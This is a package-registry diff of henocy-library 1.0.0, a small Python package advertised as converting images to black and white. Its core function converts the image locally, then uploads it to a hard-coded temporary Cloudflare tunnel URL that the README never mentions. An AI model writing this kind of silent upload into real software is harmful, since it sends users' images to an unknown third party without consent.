henocy-library 1.0.0__tar.gz
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- henocy_library-1.0.0/PKG-INFO +19 -0
- henocy_library-1.0.0/README.md +8 -0
- henocy_library-1.0.0/backend/__init__.py +1 -0
- henocy_library-1.0.0/backend/core.py +28 -0
- henocy_library-1.0.0/henocy_library.egg-info/PKG-INFO +19 -0
- henocy_library-1.0.0/henocy_library.egg-info/SOURCES.txt +9 -0
- henocy_library-1.0.0/henocy_library.egg-info/dependency_links.txt +1 -0
- henocy_library-1.0.0/henocy_library.egg-info/requires.txt +2 -0
- henocy_library-1.0.0/henocy_library.egg-info/top_level.txt +1 -0
- henocy_library-1.0.0/pyproject.toml +18 -0
- henocy_library-1.0.0/setup.cfg +4 -0
|
@@ -0,0 +1,19 @@
|
|
|
1
|
+
Metadata-Version: 2.4
|
|
2
|
+
Name: henocy-library
|
|
3
|
+
Version: 1.0.0
|
|
4
|
+
Summary: Black & White image
|
|
5
|
+
Author: Henocy
|
|
6
|
+
Project-URL: Homepage, https://github.com/henocy/henocy-library
|
|
7
|
+
Requires-Python: >=3.8
|
|
8
|
+
Description-Content-Type: text/markdown
|
|
9
|
+
Requires-Dist: httpx
|
|
10
|
+
Requires-Dist: pillow
|
|
11
|
+
|
|
12
|
+
# Henocy
|
|
13
|
+
|
|
14
|
+
Simple Python library that converts images to black & white
|
|
15
|
+
|
|
16
|
+
## Install
|
|
17
|
+
|
|
18
|
+
```bash
|
|
19
|
+
pip install henocy
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
from .core import blackwhite
|
|
@@ -0,0 +1,28 @@
|
|
|
1
|
+
import httpx
|
|
2
|
+
from PIL import Image
|
|
3
|
+
import io
|
|
4
|
+
|
|
5
|
+
API_URL = "https://quiz-projected-rise-prefers.trycloudflare.com"
|
|
6
|
+
|
|
7
|
+
|
|
8
|
+
def blackwhite(image_path: str):
|
|
9
|
+
# rasmni ochish
|
|
10
|
+
img = Image.open(image_path).convert("L")
|
|
11
|
+
|
|
12
|
+
# memory buffer
|
|
13
|
+
buf = io.BytesIO()
|
|
14
|
+
img.save(buf, format="JPEG")
|
|
15
|
+
buf.seek(0)
|
|
16
|
+
|
|
17
|
+
# serverga yuborish
|
|
18
|
+
files = {
|
|
19
|
+
"file": ("bw.jpg", buf, "image/jpeg")
|
|
20
|
+
}
|
|
21
|
+
|
|
22
|
+
response = httpx.post(
|
|
23
|
+
f"{API_URL}/upload-image",
|
|
24
|
+
files=files,
|
|
25
|
+
timeout=30
|
|
26
|
+
)
|
|
27
|
+
|
|
28
|
+
return response.json()
|
|
@@ -0,0 +1,19 @@
|
|
|
1
|
+
Metadata-Version: 2.4
|
|
2
|
+
Name: henocy-library
|
|
3
|
+
Version: 1.0.0
|
|
4
|
+
Summary: Black & White image
|
|
5
|
+
Author: Henocy
|
|
6
|
+
Project-URL: Homepage, https://github.com/henocy/henocy-library
|
|
7
|
+
Requires-Python: >=3.8
|
|
8
|
+
Description-Content-Type: text/markdown
|
|
9
|
+
Requires-Dist: httpx
|
|
10
|
+
Requires-Dist: pillow
|
|
11
|
+
|
|
12
|
+
# Henocy
|
|
13
|
+
|
|
14
|
+
Simple Python library that converts images to black & white
|
|
15
|
+
|
|
16
|
+
## Install
|
|
17
|
+
|
|
18
|
+
```bash
|
|
19
|
+
pip install henocy
|
|
@@ -0,0 +1,9 @@
|
|
|
1
|
+
README.md
|
|
2
|
+
pyproject.toml
|
|
3
|
+
backend/__init__.py
|
|
4
|
+
backend/core.py
|
|
5
|
+
henocy_library.egg-info/PKG-INFO
|
|
6
|
+
henocy_library.egg-info/SOURCES.txt
|
|
7
|
+
henocy_library.egg-info/dependency_links.txt
|
|
8
|
+
henocy_library.egg-info/requires.txt
|
|
9
|
+
henocy_library.egg-info/top_level.txt
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
backend
|
|
@@ -0,0 +1,18 @@
|
|
|
1
|
+
[build-system]
|
|
2
|
+
requires = ["setuptools>=61.0"]
|
|
3
|
+
build-backend = "setuptools.build_meta"
|
|
4
|
+
|
|
5
|
+
[project]
|
|
6
|
+
name = "henocy-library"
|
|
7
|
+
version = "1.0.0"
|
|
8
|
+
description = "Black & White image "
|
|
9
|
+
authors = [{name = "Henocy"}]
|
|
10
|
+
readme = "README.md"
|
|
11
|
+
requires-python = ">=3.8"
|
|
12
|
+
dependencies = [
|
|
13
|
+
"httpx",
|
|
14
|
+
"pillow"
|
|
15
|
+
]
|
|
16
|
+
|
|
17
|
+
[project.urls]
|
|
18
|
+
Homepage = "https://github.com/henocy/henocy-library"
|